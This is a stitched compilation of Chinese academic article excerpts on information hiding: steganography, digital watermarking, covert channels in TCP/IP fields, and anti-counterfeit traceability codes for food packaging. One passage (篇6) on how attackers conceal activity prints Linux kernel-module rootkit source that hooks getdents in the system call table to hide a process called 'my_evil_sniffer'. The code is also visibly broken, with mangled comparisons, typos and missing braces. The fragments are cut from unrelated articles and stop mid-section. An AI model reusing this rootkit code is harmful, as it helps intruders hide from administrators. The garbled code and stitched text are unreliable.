[17] T. Zhang, D.J. Mu, S. Ren. A Confidential Communication-Oriented Information Hiding Algorithm based on GHM multi-wavelet and DCT[J].Applied Mathematics & Information Sciences,2013, 7(5): 1803-1807.

[18] H.B. Kekre, P. Halarnkar, K. Dhamejani. Capacity increase for information hiding using maximum edged pixel value differencing[J].Communications in Computer and Information Science,2011, 145(1): 190-194.

[19] 奚玲,平西建,張韜.整數(shù)小波域濕紙碼自適應(yīng)信息隱藏算法[J].計(jì)算機(jī)輔助設(shè)計(jì)與圖形學(xué)學(xué)報(bào),2011,2(7):1217-1223.

[20] H. Zhao, H.X. Wang, M.K. Khan. Steganalysis for palette-based images using generalized difference image and color correlogram[J].Signal Processing, 2011,91(11): 2595-2605.

[21] A. Lamgunde, A. Kale. Palette based technique for image steganography[J].Communications in Computer and Information Science, 2011,125(2): 364-371.

[22] Y.J. Qiu, H. T. Lu, N. Deng, et al. A robust blind image watermarking scheme based on template in Lab color space[C].2011 International Conference on Computing, Information and Control(ICCIC 2011),2011.

[23] L.H. Tian, N.N. Zheng, J.R. Xue, et al. An intergrated visual saliency-based watermarking approach for synchronous image authentication and copyright protection[J].Signal Processing:Image Communication,2011,31(2): 9-64.

[24] 任帥,張|,慕德俊,等.基于GHM多小波與自適應(yīng)顏色遷移的信息隱藏算法研究[J].西北工業(yè)大學(xué)學(xué)報(bào),2010,28(2):64-269.

[25] 潘志庚, 孫樹森, 李黎.三維模型數(shù)字水印綜述[J].計(jì)算機(jī)輔助設(shè)計(jì)與圖形學(xué)學(xué)報(bào),2006,18(8):1103-1110.

[26] S.H. Lee, K.R. Kwon. VRML animated model watermarking scheme using geometry and interpolator nodes[J].Computer-Aided Design,2011,43(8): 1056-1073.

[27] M. Luo, A.G. Bors. Surface-preserving robust watermarking of 3-D shapes[J].IEEE Transactions on Image Processing, 2011,20(10): 2813-2826.

[28] L. Du, X.C. Cao, M.H. Zhang, et al. Blind Robust Watermarking Mechanism Based on Maxima Curvature of 3D Motion Data[C]. In: Proceedings of the 14th International Conference on Information Hiding,2013.

[29] Z.Q. Yao, R.J. Pan, F.H. Li, et al. A mesh partitioning approach for 3D mesh oblivious watermarking[J].Chinese Journal of Electronics, 2010,19(4): 651-655.

[30] S. Cai, X.K. Shen. Octree-based robust watermarking for 3D model[J].Journal of Multimedia, 2011,6(1): 83-90.

[31] S. Cai, X.K. Shen. OTP-W:Octree partition-based 3D mesh watermarking[C].Second International Workshop on Education Technology and Computer Science,2010.

[32] 廖學(xué)良,王屏.一種新的三維模型水印嵌入空域算法[J]. 計(jì)算機(jī)學(xué)報(bào),2008, 31(10): 1848-1856.

[33] K. Wang, G. Lavouéa, F. Denisb, A. Baskurt. Robust and blind mesh watermarking based on volume moments[J].Computers & Graphics,2011, 35(1): 1-19.

[34] I.L. Chung, C.M. Chou, D.C. Tseng. Hiding data in triangle meshes by rearranging representation order[J].International Journal of Innovative Computing, Information and Control,2011, 7(6): 3419-3435.

[35] 胡敏,劉輝.基于特征點(diǎn)的自適應(yīng)三維網(wǎng)格數(shù)字水印算法[J].合肥工業(yè)大學(xué)學(xué)報(bào)(自然科學(xué)版),2010,33(1):55-59.

[36] M. Hachani, A.Z. Ouled, S. Bahroun. Wavelet based watermarking on 3D irregular meshes[C]. 19th IEEE International Conference on Image Processing(ICIP),2012.

[37] Y.P. Wang, S.M. Hu. Optimization approach for 3D model watermarking by linear binary programming[J].Computer Aided Geometric Design, 2010,27(5): 395-404.

[38]陳力為. 中文信息處理叢書序言[M].北京:清華大學(xué)出版社,2000.

[39]俞士汶,朱學(xué)鋒,賈玉祥. 漢語隱喻自動(dòng)處理研究之概況[C].第四屆文學(xué)與信息技術(shù)國際研討會(huì),2008.

[40] 譚良,吳波,劉震,等.一種基于混沌和小波變換的大容量音頻信息隱藏算法[J].電子學(xué)報(bào),2010,38(8):1812-1819.

[41] 丁瑋,閆偉齊,齊東旭.基于置亂與融合的數(shù)字圖象隱藏技術(shù)及其應(yīng)用[J].中國圖象圖形學(xué)報(bào),2000,5(8):644-649.

[42] 田云凱,賈傳熒,王慶武.基于Arnold變換的圖像置亂及其恢復(fù)[J].大連海事大學(xué)學(xué)報(bào):自然科學(xué)版,2006,32(4):107-109.

[43] 彭萬權(quán),張承暢,馮文江,等.多階幻方卷積碼的構(gòu)造及譯碼[J].電子學(xué)報(bào),2013,41(1):123-130.

篇(3)

中圖分類號(hào):TP309 文獻(xiàn)標(biāo)識(shí)碼:A文章編號(hào):1007-9599 (2011) 14-0000-01

Information Hiding Technology and Implementation Methods

Wang Hao,Yang Bo,Zhang Jian

(Shandong Provincial Military Area Command,Jinan250099,China)

Abstract:Today,the information technology and the computer technology is highly developed,the combination of digital information and the ancient steganography make the digital hiding technology become a new technology,which provides a new way to explore the non-cryptographic security communication.

Keywords:Information hiding technology;Implementation

信息隱藏的思想起源于隱寫術(shù),它是一種將秘密信息隱藏于另一個(gè)非機(jī)密文件內(nèi)容之中,在傳輸、存儲(chǔ)過程中不被察覺和發(fā)現(xiàn),接收者獲得隱藏對(duì)象后,按照約定規(guī)則還原秘密信息的技術(shù)。其道理如同生物學(xué)上的保護(hù)色,巧妙地將自己偽裝隱藏于自然環(huán)境中,免于被天敵發(fā)現(xiàn)而遭受攻擊。

信息隱藏技術(shù)可以追溯到遠(yuǎn)古時(shí)代,方法從音符、咒語到五花八門的隱寫術(shù),但隱寫術(shù)發(fā)展一直比較緩慢,沒有成為一門獨(dú)立的學(xué)科,人們對(duì)于信息保密更多的是采用密碼技術(shù)。直到信息技術(shù)和計(jì)算機(jī)技術(shù)高度發(fā)達(dá)的今天,數(shù)字化信息與隱寫術(shù)相結(jié)合,為古老的隱寫術(shù)注入了新的活力,使得數(shù)字化信息隱藏技術(shù)成為一門全新的技術(shù),為探索非密碼的通信安全提供了新途徑。

一、信息隱藏的基本方式

(一)傳輸隱藏。在視頻通信系統(tǒng)中隱藏信息,利用視頻通信壓縮編碼中可利用的資源,在確保不使視頻信號(hào)質(zhì)量嚴(yán)重下降的前提下,嵌入壓縮的話音編碼,形成秘密通信信道。同時(shí)數(shù)據(jù)通信中的IP包和TCP包,均有未使用的保留空間,可用來傳輸隱藏信息。另外,IP包的時(shí)間戳也可傳送1個(gè)比特的數(shù)據(jù)。

(二)載體隱藏。在文本文件、圖像文件及可執(zhí)行文件中插入秘密信息,可實(shí)現(xiàn)信息隱藏。利用話音信號(hào)的自然冗余性,將秘密信息直接編碼到文件內(nèi)容中去,或?qū)⑵渚幋a到文本格式中,形成以文本為載體的信息隱藏。將秘密信息插入圖像文件中對(duì)人的視覺系統(tǒng)不敏感的比特位,在不影響圖像質(zhì)量的前提下實(shí)現(xiàn)信息隱藏。利用可執(zhí)行文件中的冗余信息,加載秘密信息。

(三)存儲(chǔ)隱藏。利用計(jì)算機(jī)系統(tǒng)中保留或未使用的空間保存秘密信息,為隱藏信息提供另外一種方式,通過創(chuàng)建隱藏分區(qū)、使用操作系統(tǒng)分配給文件但未使用的空間來隱藏信息。同一個(gè)計(jì)算機(jī)系統(tǒng)中不同安全級(jí)別的兩臺(tái)主機(jī),根據(jù)預(yù)先約定的規(guī)則,通過存儲(chǔ)特定數(shù)據(jù)也可傳遞信息。級(jí)別高的主機(jī)在特定區(qū)域存儲(chǔ)不同大小、不同名稱的文件,級(jí)別低的主機(jī)雖不能訪問數(shù)據(jù),但可從文件列表獲取所要的信息。

二、信息隱藏的實(shí)現(xiàn)方法

(一)基于替換的信息隱藏方法。基于替換的信息隱藏,就是用秘密信息比特替換掉偽裝載體中不重要的比特,實(shí)現(xiàn)對(duì)秘密信息的隱藏。如果這種嵌入的信息在傳輸過程中不被察覺,接收者就可從秘密信息嵌入的位置提取出秘密信息。常用的替換方法:一是最低比特位替換。就是利用圖像位平面最低幾位比特對(duì)人的視覺系統(tǒng)不敏感的特性,將這些比特替換成秘密信息的相應(yīng)比特。利用此種方法可在偽裝載體中隱藏大量秘密信息而不被察覺。二是偽隨機(jī)置換。就是把秘密信息比特近似隨機(jī)地分散在整個(gè)載體中。用偽隨機(jī)數(shù)發(fā)生器產(chǎn)生索引序列,并在以此為索引的載體元素中插入秘密信息。利用此種方法插入比特的順序無規(guī)律可找,因而增加了被攻擊的復(fù)雜度。三是載體區(qū)域和奇偶校驗(yàn)位替換。將載體偽隨機(jī)地分成若干個(gè)不相接的載體區(qū)域,在每個(gè)區(qū)域的奇偶校驗(yàn)位上嵌入一個(gè)信息比特,若奇偶校驗(yàn)位與信息比特不匹配,則區(qū)域中所有值最低一個(gè)比特位反轉(zhuǎn),使二者相等,在譯碼過程中計(jì)算出所有區(qū)域的奇偶校驗(yàn)位,排列起來重構(gòu)信息。四是量化和抖動(dòng)替換。利用數(shù)字圖像的抖動(dòng)和量化處理過程插入秘密信息。運(yùn)用預(yù)測(cè)編碼的量化誤差,通過調(diào)整差分信號(hào)Δi來傳送秘密信息。五是OSI網(wǎng)絡(luò)協(xié)議幀結(jié)構(gòu)替換。就是將秘密信息插入TCP/IP包中未使用的空間,形成一個(gè)秘密的通信信道。

篇(4)

DOI:10.16640/ki.37-1222/t.2016.11.135

0 引言

隨著科技的進(jìn)步,通信技術(shù)的飛躍式發(fā)展,計(jì)算機(jī)互聯(lián)網(wǎng)的迅速普及,使得越來越多的人和公司通過網(wǎng)絡(luò)傳輸大量的數(shù)據(jù)文件,但是由于互聯(lián)網(wǎng)具有連接形式多樣性以及開放性和互聯(lián)性,使得這些互聯(lián)網(wǎng)上傳輸?shù)臄?shù)據(jù)文件很容易受到攻擊或竊取,如果涉及國家安全和軍隊(duì)建設(shè)乃至個(gè)人的隱私信息方面,信息安全問題將變的更加敏感。查閱文獻(xiàn),發(fā)現(xiàn)現(xiàn)階段研究人員關(guān)注的熱點(diǎn)有倆個(gè),即信息加密和信息隱藏,其中信息隱藏就是把需要傳遞的秘密信息進(jìn)行偽裝,隱藏在普通文件中,即使文件被攻擊、竊取,也不易發(fā)現(xiàn)其中的隱藏信息,可以有效的加強(qiáng)信息在傳輸過程中的安全性,因此有必要對(duì)信息隱藏技術(shù)進(jìn)行進(jìn)一步的研究。

1 信息隱藏技術(shù)的含義

信息隱藏是利用人類對(duì)多媒體數(shù)字信號(hào)不敏感,將秘密信息隱藏在一個(gè)不被關(guān)注的多媒體信號(hào)中,這樣敏感信息不會(huì)被發(fā)現(xiàn),而且也不會(huì)影響到多媒體信號(hào)的感覺效果和使用價(jià)值,當(dāng)我們利用這樣的技術(shù)傳輸敏感信息時(shí),可以對(duì)第三方起到混淆的作用。一般來說隱秘信息的載體選擇有多種類型,比如我們經(jīng)常見到的圖像、聲音、視頻還有文檔都可以作為敏感信息的載體,這樣做的目的是不引人注目,其次即使載體信息被截獲,也很難對(duì)隱藏信息進(jìn)行提取,安全性得到了極大的提高。

2 信息隱藏的具體方法

參考傳統(tǒng)加密技術(shù)方法,我們有保留的基礎(chǔ)上對(duì)信息隱藏技術(shù)進(jìn)行了一定的改進(jìn)。常用的具體方法有數(shù)字水印技術(shù)、疊像技術(shù)以及替聲技術(shù)等。其中,疊像技術(shù)是1994年提出的可視密碼術(shù)(VisualCryptography),用有意義的明文圖像代替原來的隨機(jī)噪聲圖象,使之更具安全性。數(shù)字水印(Digital Watermarking)技術(shù)是將一些標(biāo)識(shí)信息(即數(shù)字水印)直接嵌入數(shù)字載體中,但不影響原載體的使用價(jià)值,也不容易被人的知覺系統(tǒng)覺察。通過這些隱藏在載體中的信息,可以達(dá)到確認(rèn)內(nèi)容創(chuàng)建者、購買者、傳送隱秘信息或者判斷載體是否被篡改等目的。替聲技術(shù)與疊像技術(shù)很相似,它是通過對(duì)聲音信息的處理,使得原來的對(duì)象和內(nèi)容都發(fā)生改變,從而達(dá)到將真正的聲音信息隱藏起來的目的。替聲技術(shù)可以用于制作安全電話,使用這種電話,可以對(duì)通信內(nèi)容加以保密。

(1)替換技術(shù)。把秘密信息偽裝成載體榮譽(yù)部分,進(jìn)行替換后載體的可視性并沒有被破壞,常用的手段有最小有效位替換、偽裝隨機(jī)替換,載體的奇偶位對(duì)換,圖像的調(diào)色板替換等。

(2)變換技術(shù)。將秘密信息做正交變換,利用擴(kuò)頻技術(shù)把變換后的秘密信息隱藏到載體的變換域中。這種技術(shù)的優(yōu)點(diǎn)是,它通過不同的空間頻率敏感的感官系統(tǒng)來確定秘密信息具體的嵌入位置及嵌入強(qiáng)度,有效的對(duì)嵌入信息進(jìn)行了隱藏。

(3)擴(kuò)頻技術(shù)。當(dāng)對(duì)隱藏秘密信息的載體做過濾操作的時(shí)候,秘密信息可能被部分過濾,造成秘密信息丟失。在嵌入秘密信息時(shí)進(jìn)行多次重復(fù)的代碼擴(kuò)展,對(duì)載體進(jìn)行過濾時(shí),秘密信息保留的概率大大增加。信息數(shù)據(jù)率高許多倍偽隨機(jī)碼把包含基帶信號(hào)的頻譜數(shù)據(jù)進(jìn)行擴(kuò)展,形成寬頻帶低功率譜密度的信號(hào)。

3 信息隱藏的特點(diǎn)

信息隱藏有不同的分支,但所有分支都有很多共同的特點(diǎn)。第一,信息隱藏系統(tǒng)必須保證隱藏信息的不可見性,即在把秘密信息嵌入載體的過程中不能留下任何的痕跡,如果這一過程影響到圖像質(zhì)量,圖像信息嵌入價(jià)值將減少,信息隱藏系統(tǒng)安全性降低。 其次,在對(duì)載體進(jìn)行矢量變換操作以后,載體中的隱藏信息任然可以保持完整,并可以極大的概率被提取。 第三,要實(shí)現(xiàn)隱藏信息在載體中的不可見性,隱藏信息的長度與載體的長度必須保持一個(gè)適度的量,因?yàn)檩d體容量與信息隱藏率是正比關(guān)系的。 第四,要足夠安全,即攻擊者不能有效的讀取和修改載體中的秘密信息。

4 網(wǎng)絡(luò)通信中信息隱藏技術(shù)的應(yīng)用

網(wǎng)絡(luò)通信中往往根據(jù)信息載體的不同,利用文本、語音、視頻以及二進(jìn)制的隱寫,把秘密信息隱藏在具體的公開轉(zhuǎn)播的數(shù)字多媒體信號(hào)中,使得秘密信息可以在網(wǎng)絡(luò)中進(jìn)行安全有效的傳輸?shù)囊环N技術(shù)。

(1)數(shù)據(jù)保密。在公司之間進(jìn)行談判時(shí),可能會(huì)利用網(wǎng)絡(luò)傳遞一些敏感的信息,比如雙方的協(xié)議、合同、報(bào)價(jià)等重要文件,包括數(shù)字簽名,為了保護(hù)這些敏感信息的安全性,可以把這些信息以隱藏的形式傳遞給對(duì)方,這樣我們就可以在非相關(guān)人員難以發(fā)覺的狀態(tài)下完成彼此信息交流。

(2)數(shù)據(jù)的不可抵賴性。在網(wǎng)絡(luò)上進(jìn)行談判,簽訂協(xié)議等行為,由于不能互相見面,為保證雙方不能否認(rèn)自己做過的承諾并且接受對(duì)方傳遞的條款,需要在傳遞的信息中加入簽名水印,確認(rèn)其行為目的。

(3)數(shù)據(jù)的完整性。為保證我們接收到的信息是真實(shí)的,沒有在網(wǎng)絡(luò)傳遞的過程中被篡改,可以在傳遞的具體多媒體數(shù)據(jù)中嵌入一個(gè)完整信息,收到多媒體數(shù)據(jù)后可以對(duì)完整信息進(jìn)行提取,用于確定此多媒體數(shù)據(jù)是否被篡改。

信息隱藏技術(shù)是目前學(xué)術(shù)界倍受關(guān)注的一個(gè)熱點(diǎn)領(lǐng)域,由于現(xiàn)代通信技術(shù)的爆炸式發(fā)展,互聯(lián)網(wǎng)飛速普及,每時(shí)每刻都有海量的信息在網(wǎng)絡(luò)上傳輸,對(duì)敏感信息安全進(jìn)行保護(hù)變的更加具有現(xiàn)實(shí)意義。在眾多研究人員的不懈努力下,信息隱藏技術(shù)取得很多的成果,但是,信息隱藏技術(shù)作為一個(gè)跨學(xué)科的技術(shù)體系,我們對(duì)它的研究還不是很完善,還有許多的問題沒有解決。信息隱藏技術(shù)的成熟性、實(shí)用性還與密碼加密的網(wǎng)絡(luò)傳輸技術(shù)相比較,還有很大差距。但是,其潛在價(jià)值是無法估量的,在未來甚至是不可不取代的,我們相信,隨著技術(shù)的進(jìn)一步發(fā)展,信息隱藏技術(shù)將涌現(xiàn)出更多的思路和辦法,將對(duì)信息安全系統(tǒng)的未來扮演重要的角色。

參考文獻(xiàn):

[1]王育民,張彤,黃繼武.信息隱藏――理論與技術(shù)[M].北京清華大學(xué)出版社,2006.

篇(5)

追溯碼的隱藏技術(shù)

1.數(shù)字水印技術(shù)

數(shù)字水印是基于內(nèi)容的非密碼機(jī)制的信息隱藏技術(shù),通過對(duì)數(shù)據(jù)的內(nèi)容做微量修改來嵌入水印信息,從而達(dá)到信息隱藏的目的。該過程不影響原來數(shù)據(jù)的正常使用,不改變?cè)襟w的外觀,是迄今為止唯一可以跨媒體應(yīng)用的信息安全與防偽技術(shù)。嵌入的水印信息可以通過技術(shù)軟件或者特定的設(shè)備提取出來。當(dāng)前,在國際研究領(lǐng)域中盛行的數(shù)字水印技術(shù)是采用信號(hào)分析的理論,通過傅里葉變換、小波變換等手法,尋求肉眼不易發(fā)現(xiàn)的地方埋入信息。一個(gè)完整的數(shù)字水印系統(tǒng)包括兩個(gè)階段,即水印信息的嵌入和水印信息的提取。在食品包裝印刷中運(yùn)用數(shù)字水印的原理與在普通數(shù)字媒體中運(yùn)用的原理基本上是一樣的,只不過印刷品是以半色調(diào)的網(wǎng)點(diǎn)來再現(xiàn)連續(xù)調(diào)原稿的層次和顏色變化,而在提取或檢測(cè)水印過程中要對(duì)印刷品進(jìn)行掃描,在掃描中有一個(gè)模/數(shù)轉(zhuǎn)換過程。因此在數(shù)字水印嵌入和提取或檢測(cè)過程中,必須結(jié)合半色調(diào)加網(wǎng)技術(shù)和模/數(shù)轉(zhuǎn)換的算法,把追溯碼作為水印以視覺不可見的形式隱藏在食品包裝印刷中,通過特定的檢測(cè)設(shè)備就能提取到追溯碼的信息,進(jìn)行食品的安全追溯。

2.隱形光柵防偽技術(shù)

隱形光柵防偽技術(shù)是基于半色調(diào)圖像加網(wǎng)技術(shù)與光柵材料的光學(xué)折射特性相結(jié)合的防偽方法。該方法主要用于對(duì)半色調(diào)圖像進(jìn)行防偽設(shè)置,半色調(diào)圖像經(jīng)過防偽處理后,隱藏在圖像中的信息只能通過特定的光柵才能看到,如圖1所示。該方法簡便易行,對(duì)設(shè)備及印刷工藝沒有太高的要求,在不增加生產(chǎn)成本的情況下即可達(dá)到防偽的目的,因此該防偽技術(shù)有較好的發(fā)展前景。

隱形光柵防偽技術(shù)又叫開鎖防偽技術(shù),隸屬于版紋防偽技術(shù)。它是利用光線的干涉原理,通過線條的變化來表現(xiàn)隱藏文字和圖像等信息,加上制作的膜片,稍稍調(diào)整角度即可使隱藏信息顯現(xiàn)出來的一種防偽技術(shù)。隱形光柵防偽技術(shù)屬于二線防偽技術(shù),也是隱藏防偽技術(shù),需要工具才能檢驗(yàn)。該技術(shù)的設(shè)計(jì)在制版中完成,在印刷中實(shí)現(xiàn),不增加額外的制作成本,其素材在選擇上不受限制,制作形式極為廣泛。它是一種利用光學(xué)原理進(jìn)行信息隱藏的技術(shù),使用相應(yīng)的解碼設(shè)備解碼后可以顯示出事先設(shè)計(jì)的隱含信息,起到了一定的防偽效果,非常適合運(yùn)用到食品的外包裝上。

3. 二維碼技術(shù)

早期國際上普遍采用印刷EAN.UCC一維條碼來嵌入追溯信息,它最大的優(yōu)點(diǎn)在于簡化輸入,使用條碼讀取設(shè)備就可方便地進(jìn)行信息輸入,但是由于一維碼存儲(chǔ)的信息量小,在一定程度上使其應(yīng)用范圍受限,因此產(chǎn)生了二維碼(Dimensional Barcode),圖2為市面上見到的一些二維碼。二維碼是在兩個(gè)方向(垂直和水平)上進(jìn)行的編碼和解碼,使用平面(二維方向上)分布的圖形來記錄數(shù)據(jù)符號(hào)信息的,在代碼編制上巧妙地利用構(gòu)成計(jì)算機(jī)內(nèi)部邏輯基礎(chǔ)的“0”、“1”比特流的概念,使用若干個(gè)與二進(jìn)制相對(duì)應(yīng)的幾何形體來表示文字?jǐn)?shù)值信息,這大幅增加了編碼容量以及完善了編碼加密機(jī)制,從而拓展了它的應(yīng)用范圍。通過圖像輸入設(shè)備或光電掃描設(shè)備就可以自動(dòng)識(shí)讀以實(shí)現(xiàn)信息的自動(dòng)處理。

然而,二維碼不能隱含于文字、商標(biāo)、圖案等之中,必須獨(dú)立地印刷在包裝的某一部分上,不易于暗號(hào)化,置放在明處容易被造假者仿冒,防偽安全性差,而且二維碼的編解碼是公開的算法,因此二維碼的防偽和防復(fù)制是需要解決的問題。二維碼最大可以存儲(chǔ)1000個(gè)左右的漢字,存儲(chǔ)空間相對(duì)較大,因此我們可以采用信息加密的方式解決防偽和防復(fù)制的問題,加密后的二維碼必須通過相應(yīng)的解密算法才能讀取到相應(yīng)的信息,否則讀取到的將是一堆亂碼,從而無法使用。防偽二維碼的出現(xiàn)為食品的追溯和防偽辨識(shí)提供了一種更加簡單便捷、準(zhǔn)確詳實(shí)的方法,加大了造假者的造假成本,使其無利可圖。

4. 網(wǎng)屏編碼防偽技術(shù)

網(wǎng)屏編碼防偽技術(shù)是天津阿波羅信息技術(shù)有限公司總裁顧澤蒼在國家有關(guān)部委的直接支持下,經(jīng)過長期的開發(fā)研制出來的具有自主知識(shí)產(chǎn)權(quán)的國際領(lǐng)先水平的編碼新技術(shù)。最初,網(wǎng)屏編碼是針對(duì)一維碼和二維碼的不足研制的,實(shí)際其應(yīng)用領(lǐng)域遠(yuǎn)遠(yuǎn)超過了一維碼和二維碼的應(yīng)用。網(wǎng)屏編碼技術(shù)就是將傳統(tǒng)的由有限的數(shù)字組成的肉眼可見的二維條碼,轉(zhuǎn)換為無限容量且隱形的網(wǎng)屏編碼,通過改變圖形網(wǎng)點(diǎn)的不同位置、不同方向、不同形狀等方式排列組合,滿屏編碼覆蓋在包裝的最底層,從而達(dá)到不可復(fù)制、難以破譯的效果,如圖3所示。網(wǎng)屏編碼防偽技術(shù)隱藏到包裝印刷圖像中的信息,即使專業(yè)人員使用高精度設(shè)備也不容易識(shí)別出在什么地方埋有信息,更不易破解出信息的內(nèi)容。

網(wǎng)屏編碼防偽技術(shù)是一種可在使用印刷機(jī)印刷文字或圖像的同時(shí),大量埋入不同文字或圖像的編碼新技術(shù)。它實(shí)現(xiàn)了真正意義上的數(shù)字化紙張,在A4紙上最多可植入6萬個(gè)以上的漢字,存儲(chǔ)60KB以上的聲音、圖像、視頻以及Word、Excel等任意格式的文件。此外,在紙介質(zhì)上即使埋入彩色圖像,其畫質(zhì)也不會(huì)受到影響。它超強(qiáng)的抗攻擊能力更是令人刮目相看,即使紙張污染、破損仍然可以正確識(shí)讀出隱藏的信息。網(wǎng)屏編碼技術(shù)的信息植入是通過計(jì)算機(jī)方式處理的,一次成型為印刷品菲林或是CTP版,采用普通油墨正常印刷即可,印刷時(shí)無需二次印刷,在整個(gè)工藝流程中無需增加任何工藝成本,用Speakun識(shí)別器讀取信息就可以發(fā)出聲音。

5.RFID技術(shù)

RFID是英文“Radio Frequency Identification”的縮寫,即無線射頻識(shí)別技術(shù),是一種非接觸式的自動(dòng)識(shí)別技術(shù),它通過射頻信號(hào)自動(dòng)識(shí)別目標(biāo)對(duì)象并獲取相關(guān)數(shù)據(jù),識(shí)別工作無須人工干預(yù),可工作于各種惡劣環(huán)境中。RFID電子標(biāo)簽除了目前成本相對(duì)較高,它具有體積小、容量大、壽命長、穿透力強(qiáng)、可重復(fù)使用、支持快速讀寫、可定位和長期跟蹤管理等特點(diǎn),在食品安全質(zhì)量管理方面有著極大的應(yīng)用潛力。

使用RFID讀寫器將食品的追溯碼存儲(chǔ)到電子標(biāo)簽芯片中,可以無線讀取,多次寫入和修改。芯片里的數(shù)據(jù)除了采用密碼保護(hù)外,還可用一些加密算法和認(rèn)證過程來實(shí)現(xiàn)安全管理,造假者很難破解和仿造出一模一樣的電子標(biāo)簽。而且使用RFID技術(shù)可以一次同時(shí)讀取多個(gè)標(biāo)簽,加快食品的流通速度,提高食品供應(yīng)鏈的效率。但是由于目前缺少國家標(biāo)準(zhǔn),僅有一些行業(yè)標(biāo)準(zhǔn),不同企業(yè)使用的頻率、編碼及數(shù)據(jù)內(nèi)容等都可能會(huì)存在差異,讀寫器和標(biāo)簽難以完全通用,不同企業(yè)之間的數(shù)據(jù)交換和協(xié)調(diào)受到了限制。

篇(6)

中圖分類號(hào):TP393文獻(xiàn)標(biāo)識(shí)碼:A文章編號(hào):1009-3044(2007)04-10961-03

1 引言

攻擊活動(dòng)是一系列連續(xù)操作,若攻擊時(shí)一不小心露出馬腳,所有前面的攻擊就會(huì)付諸東流,甚至?xí)耙馃怼薄;谶@樣的認(rèn)識(shí),精明的網(wǎng)絡(luò)攻擊者特別注意隱藏攻擊活動(dòng)。

隱藏技術(shù)在計(jì)算機(jī)系統(tǒng)安全中應(yīng)用十分廣泛,尤其是在網(wǎng)絡(luò)攻擊中,當(dāng)攻擊者成功侵入一個(gè)系統(tǒng)后,有效隱藏攻擊者的文件、進(jìn)程及其加載的模塊變得尤為重要。本文將討論網(wǎng)絡(luò)攻擊活動(dòng)中文件、進(jìn)程、網(wǎng)絡(luò)連接及通道的高級(jí)隱藏技術(shù),這些技術(shù)有的已經(jīng)被廣泛應(yīng)用到各種后門或安全檢測(cè)程序之中,而有一些則剛剛起步,仍然處在討論階段,應(yīng)用很少。

2 進(jìn)程活動(dòng)隱藏技術(shù)

攻擊者在目標(biāo)系統(tǒng)進(jìn)行攻擊活動(dòng)時(shí),產(chǎn)生攻擊進(jìn)程,如果不將這些攻擊進(jìn)程隱藏在系統(tǒng)中,就會(huì)被網(wǎng)絡(luò)安全管理人員發(fā)現(xiàn)。例如,攻擊者注冊(cè)到某臺(tái)Linux主機(jī)時(shí),系統(tǒng)管理人員使用ps-ef | grep in.telnetd命令就可以察覺。攻擊者可以通過修改系統(tǒng)的進(jìn)程管理模塊,替換進(jìn)程管理核心模塊,控制進(jìn)程的顯示,主要是netstat、ps等命令。下面給出Linux系統(tǒng)下隱藏進(jìn)程源程序的例子:

extern void* sys_call_table[];

/*隱藏進(jìn)程名稱*/

char mtroj[]="my_evil_sniffer";

int (*orig_getdnts)(unsigned int fd,struct dirent *dirp,unsigned int coumt);

/*convert a string to number*/

int myatoi(char *str)

{ int res=0;

int mul=1;

char *ptr;

for(ptr=str+strlen(str)-1;ptr>=str;ptr--) {

if(*ptr'9')

return(-1);

res+=(*ptr-'0') *mul;

mul*=10;}

return (res);}

/*從task structure中獲取進(jìn)程號(hào)*/

struct task_struct *get_task(pid_t pid)

{ struct task_struck *p=current;

do { if (p->pid==pid)

returnp;

p=p->next_task; }

while (p!=current);

return NULL;}

/*從task structure獲取進(jìn)程名稱*/

static inline char *task_name(struct task_struct *p,char *buf)

{ int i; char *name;

name=p->comm;

i=sizeof(p->comm);

do {unsigned char c=*name;

name++; i--;

*buf=c;

if (!c);

break;

if (c=='\\') {

buf[1]=c; buf+=2;

continue; }

if (c= ='\n') {

buf[0]='\\';

buf[1]='n'; buf+=2;

continue; }

buf++;}

while (i);

*buf=’\n’;

return buf+1;}

/*確認(rèn)需要隱藏的進(jìn)程*/

int invisible (pid_t pid)

{struct task_struct *task=get_task (pid);

char *buffer;

if (task) {

buffer=kmalloc (200,GFP_KERNEL);

memset (buffer,0,200);

task_name (task,buffer);

if (strstr (buffer, (char *) &mtroj)) {

kfree (buffer);

return 1; }

}return 0;}

int hacked_getdents (unsigned int fd, struct dirent *dirp, unsigned int count)

{unsigned int tmp,n;

int t,proc=0;

struct inode *dinode;

struct dirent dirp2,dirp3;

tmp=(*orig_getdents) (fd,dirp,count);

#idef _LINUX_DCACHE_H

dinode=current->files->fd[fd]->d_inode;

#else

dinode=current->files->f_inode;

#endif

if (dinode->i_ino= =PROC_ROOT_INO && !MAJOR (dinode->I_dev) &&

MINOR (dinode->I_dev) = =1)

proc=1;

if (tmp>0) {

dirp2= (struct dirent *) kmalloc (tmp, GFP_KERNEL);

memcpy_fromfs( dirp2,dirp,tmp);

dirp3=dirp2;t=tmp;

while (t>0) {

n=dirp3->d_reclen;

t-=n;

if ((proc && invisble (myatoi (dirp3->d_name)))) {

if (t!=0)

memmove (dirp3, (char *)dirp3+dirp3->d_reclen,t);

else

dirp3->d_off=1024;

tmp-=n;}

if (t!=0)

dirp3= (struct dirent *) ((char *) dirp3+dirp3->d_reclen);}

memcpy_tofs (dirp,dirp2,tmp);

kfree (dirp2);}

return tmp;

int init_module (void)/*module setup*/

{orig_getdents=sys_call_table[SYS_getdents];

sys_call_table[SYS_getdents]=hacked_getdents;return 0;}

void cleanup_module (void)/*module shutdown*/

篇(7)

互聯(lián)網(wǎng)傳輸數(shù)據(jù)以及文件的過程中,很容易出現(xiàn)文件被攻擊、數(shù)據(jù)被竊取等問題。尤其是關(guān)系到個(gè)人隱私以及國家安全的文件資料,如果被不法的黑客獲取,對(duì)國家安全以及個(gè)人安全都會(huì)造成一定負(fù)面影響。為了保障電子信息安全,引入了電子信息隱藏技術(shù),可以提升網(wǎng)絡(luò)傳輸安全性,本文主要對(duì)電子信息隱藏技術(shù)的要點(diǎn)進(jìn)行分析,并且總結(jié)了電子信息隱藏技術(shù)的應(yīng)用現(xiàn)狀。

2電子信息隱藏技術(shù)的涵義

